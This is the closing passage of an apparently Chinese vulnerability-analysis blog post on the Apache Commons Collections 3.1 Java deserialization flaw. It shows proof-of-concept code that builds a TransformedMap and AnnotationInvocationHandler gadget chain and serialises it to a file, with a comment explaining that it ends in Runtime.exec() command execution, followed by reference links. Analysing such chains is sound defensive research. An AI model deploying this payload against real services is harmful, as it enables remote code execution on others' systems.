<span class="hljs-comment">//TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));</span>
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, <span class="hljs-keyword">null</span>, transformedChain);
Class cl = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(<span class="hljs-keyword">true</span>);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = <span class="hljs-keyword">new</span> File(<span class="hljs-string">"temp.bin"</span>);
ObjectOutputStream out = <span class="hljs-keyword">new</span> ObjectOutputStream(<span class="hljs-keyword">new</span> FileOutputStream(f));
out.writeObject(instance);
}
}
/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行
执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
*/
参考
以Commons-Collections为例谈Java反序列化POC的编写 - 安全客,安全资讯平台
Java 反序列化漏洞始末(1)— Apache Commons - 浅蓝 's blog
Apache Commons Collections反序列化漏洞分析与复现 - 安全客,安全资讯平台
[Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析 | Passer6y's Blog](https://0day.design/2020/01/24/Apache-Commons-Collections-3.1 反序列化漏洞分析/)
Apache-Commons-Collections反序列化漏洞分析 - FreeBuf网络安全行业门户
- 发表于 2021-07-01 10:39:50
- 阅读 ( 526 )
- 分类:漏洞分析




















